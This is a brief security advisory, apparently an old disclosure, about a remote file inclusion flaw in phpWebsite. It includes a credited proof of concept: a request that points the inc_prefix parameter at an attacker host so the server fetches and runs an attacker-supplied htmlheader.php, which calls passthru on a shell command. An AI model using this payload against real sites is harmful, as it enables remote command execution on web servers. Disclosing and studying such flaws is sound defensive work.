A vulnerability has been discovered in phpWebsite which allows an attacker to remotely include a malicious PHP file. It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script.

This issue could be exploited to execute arbitrary commands within the context of the webserver process.

The following proof of concept has been supplied by Tim Vandermeersch:

http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/

--- htmlheader.php ---
<?php echo "<?php passthru("/bin/ls");?>" ?> .
